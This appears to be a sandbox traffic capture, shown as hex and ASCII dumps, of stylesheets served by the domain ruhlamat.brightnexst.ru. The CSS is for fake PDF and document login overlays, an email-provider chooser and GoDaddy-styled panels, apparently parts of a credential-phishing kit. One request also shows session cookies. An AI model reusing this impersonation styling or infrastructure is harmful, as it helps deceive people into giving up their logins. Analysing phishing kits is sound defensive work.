2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 Data Ascii: der #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 Data Ascii: {grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971.25
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 Data Ascii: imation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:rot
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 65 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 Data Ascii: er{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-bott
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 Data Ascii: )}#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;heigh
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 Data Ascii: vider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider .ch
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c Data Ascii: f .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0,0,
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d Data Ascii: tions_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;m
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 73 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 Data Ascii: s show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#secti

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1362	OUT	GET /abbk3UUlyibKbrswXgh27 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1077	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abbk3UUlyibKbrswXgh27" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SAFjMsDGK4kZVdcxbk%2FbbbElNp0w0cNya5YonP6Mkt8AAzEzS0KdF%2FszQdh90tuVWvmVzeT8wMreioPV%2FOaD%2BbFzl8wNB4hzEtarbKghjMMk13ApyqlGtClfbziD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1198&min_rtt=1185&rtt_var=356&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2272&delivery_rate=2326104&cwnd=251&unsent_bytes=0&cid=fcacdfb5136e937e&ts=82&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 92234141ee1e0f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1470&rtt_var=581&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1934&delivery_rate=1835323&cwnd=182&unsent_bytes=0&cid=ddbd394116a3edff&ts=405&x=0"
2025-03-18 08:10:40 UTC	292	IN	Data Raw: 36 36 61 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 Data Ascii: 66a#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpare
2025-03-18 08:10:40 UTC	1357	IN	Data Raw: 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 65 72 74 69 Data Ascii: flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; verti
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 33 31 34 62 0d 0a 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 Data Ascii: 314bsbfig8,.25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-fle
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 78 72 37 2c 76 61 72 28 2d 2d 75 78 2d 76 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 Data Ascii: xr7,var(--ux-vvspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e Data Ascii: ound-color: var(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#section
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 Data Ascii: left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#secti
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 20 30 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 Data Ascii: 0; text-transform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: vi
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f Data Ascii: flex-direction: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_
